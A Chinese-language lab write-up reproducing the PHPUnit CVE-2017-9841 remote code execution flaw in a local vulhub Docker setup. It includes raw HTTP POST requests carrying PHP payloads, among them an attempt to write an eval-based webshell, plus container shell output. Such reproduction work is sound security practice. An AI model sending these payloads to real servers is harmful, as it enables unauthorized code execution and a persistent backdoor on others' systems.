CVE-2017-9841 phpunit 远程代码执行漏洞

简介: CVE-2017-9841 phpunit 远程代码执行漏洞

漏洞简介

composer是php包管理工具,使用composer安装扩展包将会在当前目录创建一个vendor文件夹,并将所有文件放在其中。通常这个目录需要放在web目录外,使用户不能直接访问。

phpunit是php中的单元测试工具,其4.8.19 ~ 4.8.27和5.0.10 ~ 5.6.2版本的vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php文件有如下代码:

eval('?>'.file_get_contents('php://input'));

如果该文件被用户直接访问到,将造成远程代码执行漏洞。

漏洞复现

执行如下命令启动一个php环境,其中phpunit被安装在web目录下。

docker-compose build
docker-compose up -d

web环境将启动在http://127.0.0.1:8080/

虽然显示禁止访问,但通过抓包构造可造成代码执行

POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.phpA HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: hblid=OCkAkPEOWHj8QX5o3m39N0H02BOA0I12; olfsk=olfsk8528760320823083; ECS[visit_times]=1; private_content_version=e48e945c4e066c5afa30b51edd7c4541; pma_lang=en; pma_collation_connection=utf8_unicode_ci
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
<?=phpinfo()?>

直接将PHP代码作为POST Body发送给http://your-ip:8080/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: hblid=OCkAkPEOWHj8QX5o3m39N0H02BOA0I12; olfsk=olfsk8528760320823083; ECS[visit_times]=1; private_content_version=e48e945c4e066c5afa30b51edd7c4541; pma_lang=en; pma_collation_connection=utf8_unicode_ci
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
<?=file_put_contents("2.php", '<?=eval($_REQUEST[1]);?>');

但权限拒绝

进入容器id的命令

(root💀guiltyfet)-[/home/guiltyfet/vulhub/phpunit/CVE-2017-9841]
└─# docker exec -it -u root 7539dda8ee0c /bin/bash                                                                                                                                                  1 ⨯
root@7539dda8ee0c:/var/www/html# ls
composer.json  composer.lock  vendor
root@7539dda8ee0c:/var/www/html# cd vendor
root@7539dda8ee0c:/var/www/html/vendor# cd phpunit/phpunit/src/Util/PHP/
root@7539dda8ee0c:/var/www/html/vendor/phpunit/phpunit/src/Util/PHP# ls
Default.php  Template  Windows.php  eval-stdin.php
root@7539dda8ee0c:/var/www/html/vendor/phpunit/phpunit/src/Util/PHP# cd eval-stdin.php 
bash: cd: eval-stdin.php: Not a directory
root@7539dda8ee0c:/var/www/html/vendor/phpunit/phpunit/src/Util/PHP# ls
Default.php  Template  Windows.php  eval-stdin.php
root@7539dda8ee0c:/var/www/html/vendor/phpunit/phpunit/src/Util/PHP#

关闭

docker-compose down
相关文章
|
安全 数据安全/隐私保护
蓝凌OA系统存在任意文件读取(SSRF)
蓝凌OA系统存在任意文件读取(SSRF)
蓝凌OA系统存在任意文件读取(SSRF)
|
SQL 监控 druid
Druid未授权访问 漏洞复现
Druid未授权访问 漏洞复现
18186 0
|
安全 NoSQL API
【漏洞复现】YApi NoSQL注入导致远程命令执行漏洞
YApi是一个API管理工具。在其1.12.0版本之前,存在一处NoSQL注入漏洞,通过该漏洞攻击者可以窃取项目Token,并利用这个Token执行任意Mock脚本,获取服务器权限。
3125 1
|
NoSQL 安全 网络协议
|
11月前
|
消息中间件 安全 Java
vulhub部分复现记录(后面大概都是原文档了,也比较难复现就不继续了)
本文介绍了多个软件的安全漏洞及其复现过程,涉及的软件包括Vulhub、Flask、ActiveMQ、Adminer、Airflow、Apache Druid、Apereo CAS、APISIX、AppWeb、Aria2、Bash、Cacti、Celery、CGI、ColdFusion和Confluence。每个部分详细描述了漏洞的背景、环境搭建步骤、漏洞复现的具体操作和验证方法。例如,Flask的SSTI漏洞通过构造特定的模板参数实现命令执行;ActiveMQ的反序列化漏洞利用特制的序列化对象触发;这些示例不仅展示了漏洞的危害性,还提供了实际的复现步骤,帮助读者深入理解这些安全问题。
1997 3
vulhub部分复现记录(后面大概都是原文档了,也比较难复现就不继续了)
|
10月前
|
SQL 安全 关系型数据库
MySQL UDF提权
通过这些内容的详细介绍和实际案例分析,希望能帮助您深入理解MySQL UDF提权的机制、实现步骤及防范措施,提高系统的安全性和防护能力。
666 11
|
安全 网络安全 Apache
CVE-2021-41773 复现
CVE-2021-41773 复现
686 1
|
存储 安全 API
Windows Server 2022 21H2 本地域权限提升漏洞(PetitPotam)
Windows Server 2022 Standard/Datacenter 存在本地域权限提升漏洞,攻击者可通过使用PetitPotam工具进行获取服务器SYSTEM权限。
904 1
|
Web App开发 XML 安全
海康威视iVMS综合安防系统任意文件上传漏洞
海康威视iVMS综合安防系统存在任意文件上传漏洞 ,攻击者可通过构造特定Payload实施对目标的攻击。
1348 1
|
存储 Linux 数据安全/隐私保护
AccessData AD1镜像格式完全剖析
流行的数字取证工具FTK Imager创造了一种逻辑镜像格式,在取证界广泛使用,但鲜少有人对其格式进行研究。
1445 4
AccessData AD1镜像格式完全剖析